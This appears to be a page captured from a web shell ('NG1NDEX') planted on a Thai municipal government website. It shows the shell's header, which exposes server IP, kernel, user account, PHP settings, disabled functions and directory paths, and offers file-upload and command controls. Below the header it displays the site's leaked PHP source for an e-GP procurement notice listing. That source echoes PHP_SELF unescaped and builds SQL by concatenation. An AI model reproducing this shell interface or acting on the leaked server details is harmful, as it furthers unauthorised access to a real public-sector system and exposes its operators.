NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.17.80.220
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/egpView.php
<?php  
require_once('db_main.php');
$datetime = date('d/m/Y H.i'); 
$type='ระบบจัดซื้อจัดจ้าง ภาครัฐ e-GP';

if( isset($_GET['slec_type']) ){
    ////// ช่วงวันที่ค้นหา
    if( $_GET['txt_date1'] !='' ){
        $sdate1 = date("Y-m-d",strtotime($_GET['txt_date1']));
        $showdate1 = date("d/m/Y",strtotime($_GET['txt_date1']));
    }else{
        $sdate1 = '';
        $showdate1 = '';
    }
    if( $_GET['txt_date2'] !='' ){
        $sdate2 = date("Y-m-d",strtotime($_GET['txt_date2']));
        $showdate2 = date("d/m/Y",strtotime($_GET['txt_date2']));
        if( $sdate1 > $sdate2){
            echo "<SCRIPT type='text/javascript'>
                    alert('กรอกช่วงเวลาค้นหาให้ถูกต้อง');
                    window.location.replace('egpView.php');
                </SCRIPT>";
            exit;
        }
    }else{
        $sdate2 = '';
        $showdate2 = '';
    }

    ////// คำค้นหา
    if( $_GET['txt_name'] !='' ){
        $sname = trim($con_db_main->real_escape_string($_GET['txt_name']));
    }else{
        $sname = '';
    }

    ////// หมวดหมู่
    $slec_type = $_GET['slec_type'];
    switch($slec_type){
        case 'P0':  $type_egp='แผนการจัดซื้อจัดจ้าง'; 
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='P0' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='P0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='P0' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='P0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case '15':  $type_egp='ประกาศราคากลาง';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='15' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='15' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='15' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='15' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'B0':  $type_egp='ร่างเอกสารประกวดราคา ( e-Bidding) และร่างเอกสารซื้อหรือจ้างด้วยวิธีสอบราคา';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='B0' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='B0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='B0' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='B0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'D0':  $type_egp='ประกาศเชิญชวน';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D0' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D0' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'W0':  $type_egp='ประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W0' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W0' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W0' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'D1':  $type_egp='ยกเลิกประกาศเชิญชวน';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D1' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D1' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D1' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D1' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'W1':  $type_egp='ยกเลิกประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W1' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W1' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    } 
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W1' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W1' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'D2':  $type_egp='เปลี่ยนแปลงประกาศเชิญชวน';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D2' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='D2' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    }                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D2' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='D2' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'W2':  $type_egp='เปลี่ยนแปลงประกาศรายชื่อผู้ชนะการเสนอราคา';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W2' AND ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE `alias_egp`='W2' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    }
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W2' AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE `alias_egp`='W2' AND ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        case 'all':  $type_egp='ดูทั้งหมด';
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE ( `title_egp` LIKE '%$sname%' ) ";
                    }else{
                        $sql_data = " SELECT COUNT(*) FROM `data_egp` WHERE ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ";
                    }
                    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                    $rs_data = mysqli_fetch_row($qr_data);
                    $numrows = $rs_data[0];
                    $rowsperpage = 10;
                    $totalpages = ceil($numrows / $rowsperpage);
                    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
                    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
                    if ($currentpage < 1) { $currentpage = 1; }
                    $offset = ($currentpage - 1) * $rowsperpage;
                    if( $sdate1=='' or $sdate2=='' ){
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }else{
                        $sql_data1 = " SELECT * FROM `data_egp` WHERE ( `datetime_egp` BETWEEN '$sdate1' AND '$sdate2' ) AND ( `title_egp` LIKE '%$sname%' ) ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
                    }
                    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                    break;
        default:
            $type_egp='ประกาศจัดซื้อจัดจ้าง ภาครัฐ e-GP ทั้งหมด';
            $sql_data = " SELECT COUNT(*) FROM `data_egp` ";
            $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
            $rs_data = mysqli_fetch_row($qr_data);
            $numrows = $rs_data[0];
            $rowsperpage = 10;
            $totalpages = ceil($numrows / $rowsperpage);
            if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
            if ($currentpage > $totalpages) { $currentpage = $totalpages; }
            if ($currentpage < 1) { $currentpage = 1; }
            $offset = ($currentpage - 1) * $rowsperpage;
            $sql_data1 = " SELECT * FROM `data_egp` ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
            $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
        break;
    }
}else{
    $type_egp='ประกาศจัดซื้อจัดจ้าง ภาครัฐ e-GP ทั้งหมด';

    $sql_data = " SELECT COUNT(*) FROM `data_egp` ";
    $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
    $rs_data = mysqli_fetch_row($qr_data);
    $numrows = $rs_data[0];
    $rowsperpage = 10;
    $totalpages = ceil($numrows / $rowsperpage);
    if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { $currentpage = (int) $_GET['currentpage']; } else { $currentpage = 1; }
    if ($currentpage > $totalpages) { $currentpage = $totalpages; }
    if ($currentpage < 1) { $currentpage = 1; }
    $offset = ($currentpage - 1) * $rowsperpage;
    $sql_data1 = " SELECT * FROM `data_egp` ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
    $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
} 

?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>

    </head>
    <body class="bg-all animated fadeIn faster ">

        <?php  include_once ("chatfacebook.php"); ?>

    <div class="container-fluid p-0 " > 
        <div class="container bg-main fix-page mb-0 pb-0" >
            <?php  include_once ("menu.php"); ?>
        </div>

        <!------ data ------>

        <div class="container bg-white fix-page mt-0" id="data">
            <div class="row">
                <div class="col bg-cl-0 fcl-cl-1 bg-txt-head text-center">
                    <?php echo $type; ?>
                </div>
                <div class="w-100"></div>

                <div class="col bg-cl-5 pt-2 pb-2 fs-16">
                    <div class="row">
                        <div class="col m-auto">
                            <div class="fs-24 fw-700"><i class="fas fa-file-alt"></i> ประกาศจัดซื้อจัดจ้าง ภาครัฐ e-GP</div>
                        </div>
                        <div class="col m-auto text-end">
                            <a href="#" role="button" class="btn btn-dark fw-300 " data-bs-toggle="modal" data-bs-target="#egp_search_Modal"><i class="fas fa-search"></i> ค้นหาประกาศ</a>
                            <a href="egpView#data" role="button" class="btn btn-dark fw-300" ><i class="fas fa-file-alt"></i> ดูทั้งหมด</a>
                        </div>
                        <?php
                            if( isset($_GET['slec_type']) ){
                                echo '<div class="w-100"></div>';
                                echo '<div class="col fw-400 fs-14">';
                                echo 'ผลการค้นหา หมวดหมู่ <span class="text-danger">'.$type_egp.'</span>';
                                if( $showdate1!='' or $showdate2!='' ){ echo ' | ช่วงวันที่ <span class="text-danger">'.$showdate1.' - '.$showdate2.'</span>'; }
                                if( $sname != '' ){ echo ' | คำค้นหา <span class="text-danger">'.$sname.'</span>'; }
                                echo '</div>';
                            }
                        ?>

                        <div class="modal fade" id="egp_search_Modal" tabindex="-1" aria-labelledby="egp_search_ModalLabel" aria-hidden="true">
                            <div class="modal-dialog modal-dialog-centered">
                                <div class="modal-content">
                                    <div class="modal-header">
                                        <h1 class="modal-title fs-5 fw-700" id="egp_search_ModalLabel"><i class="fas fa-search"></i> ค้นหาประกาศจัดซื้อจัดจ้าง ภาครัฐ e-GP</h1>
                                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                                    </div>
                                    <form action="egpView#data" method="GET" >
                                        <div class="modal-body fs-14 ps-4">
                                            <div class="mb-3">
                                                <div class="mb-1">ค้นหาหมวดหมู่</div>
                                                <select class="form-select" name="slec_type" >
                                                    <option value="all">ดูทั้งหมด</option>
                                                    <option value="P0">แผนการจัดซื้อจัดจ้าง</option>
                                                    <option value="15">ประกาศราคากลาง</option>
                                                    <option value="B0">ร่างเอกสารประกวดราคา ( e-Bidding) และร่างเอกสารซื้อหรือจ้างด้วยวิธีสอบราคา</option>
                                                    <option value="D0">ประกาศเชิญชวน</option>
                                                    <option value="W0">ประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก</option>
                                                    <option value="D1">ยกเลิกประกาศเชิญชวน</option>
                                                    <option value="W1">ยกเลิกประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก</option>
                                                    <option value="D2">เปลี่ยนแปลงประกาศเชิญชวน</option>
                                                    <option value="W2">เปลี่ยนแปลงประกาศรายชื่อผู้ชนะการเสนอราคา</option>
                                                </select>
                                            </div>
                                            <div class="row mb-3">
                                                <div class="mb-1 col">ค้นหาช่วงวันที่</div>
                                                <div class="w-100"></div>
                                                <div class="col"><input type="date" class="form-control" id="txt_date1" name="txt_date1" data-date-format="DD MMMM YYYY"></div>
                                                <div class="col-auto m-auto">ถึงวันที่</div>
                                                <div class="col"><input type="date" class="form-control" id="txt_date2" name="txt_date2" data-date-format="DD MMMM YYYY"></div>
                                            </div>
                                            <div class="mb-2">
                                                <div class="mb-1">ค้นหาคำ</div>
                                                <input class="form-control" type="text" name="txt_name" placeholder="ค้นหาจากชื่อประกาศ" >
                                            </div>
                                        </div>
                                        <div class="modal-footer">
                                            <button type="submit" class="btn btn-dark"><i class="fas fa-search"></i> ค้นหา</button>
                                            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">ปิดหน้าต่าง</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>
                        
                    </div>
                </div>
                <div class="w-100"></div>
                <div class="col p-2 pt-3 ">
                    <ul class="list-group list-group-flush fs-16 ">
                    <?php
                        while($rs_data1 = mysqli_fetch_array($qr_data1)){
                            $date_egp = date('d/m/Y',strtotime($rs_data1["datetime_egp"]));
                            switch($rs_data1["alias_egp"]){
                                case 'P0': $type_egp='แผนการจัดซื้อจัดจ้าง'; break;
                                case '15': $type_egp='ประกาศราคากลาง'; break;
                                case 'B0': $type_egp='ร่างเอกสารประกวดราคา ( e-Bidding) และร่างเอกสารซื้อหรือจ้างด้วยวิธีสอบราคา'; break;
                                case 'D0': $type_egp='ประกาศเชิญชวน'; break;
                                case 'W0': $type_egp='ประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก'; break;
                                case 'D1': $type_egp='ยกเลิกประกาศเชิญชวน'; break;
                                case 'W1': $type_egp='ยกเลิกประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก'; break;
                                case 'D2': $type_egp='เปลี่ยนแปลงประกาศเชิญชวน'; break;
                                case 'W2': $type_egp='เปลี่ยนแปลงประกาศรายชื่อผู้ชนะการเสนอราคา'; break;
                                default: $type_egp=$rs_data1["alias_egp"]; break;
                            } 
                            echo '<a target="_blank" href="'.$rs_data1["detail_egp"].'" class="list-group-item list-group-item-action fw-400" style="border-bottom: 1px dashed #ff8f8e;"><span class="badge text-bg-danger border border-0 fw-300 float-start fs-12 me-2"><i class="far fa-clock me-1"></i>'.$date_egp.'</span>[ '.$type_egp.' ] '.$rs_data1["title_egp"].'</a>';
                        }
                    ?>
                    </ul>
                    <?php
                            if($numrows == 0){ 
                                echo '<div class="w-100 text-center mt-5 mb-5 text-secondary opacity-25 fs-20 fw-500" ><i class="fas fa-eye-slash fs-70"></i><br>ไม่พบข้อมูล<br>'.$type_egp.'</div>';
                            }
                    ?>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-3 pt-1 fs-12 clearfix fw-300 mx-auto ps-2 pe-2">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 10 <br>จากข้อมูลทั้งหมด <?php echo $numrows; ?> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link focus-ring focus-ring-secondary text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!---------------------------------------> 

                </div>
                <div class="w-100"></div>
                <div class="col bg-cl-2 text-center fcl-cl-1 fs-1" style="height:10px;"></div>
            </div>
        </div>

        <!------------------>
        <script>
            $( document ).ready(function() {
                $('#txt_date1').change(function(){
                    $("#txt_date2").prop('required',true);
                });
                $('#txt_date2').change(function(){
                    $("#txt_date1").prop('required',true);
                });
            });
        </script>
        <?php  include_once ("footer.php"); ?>
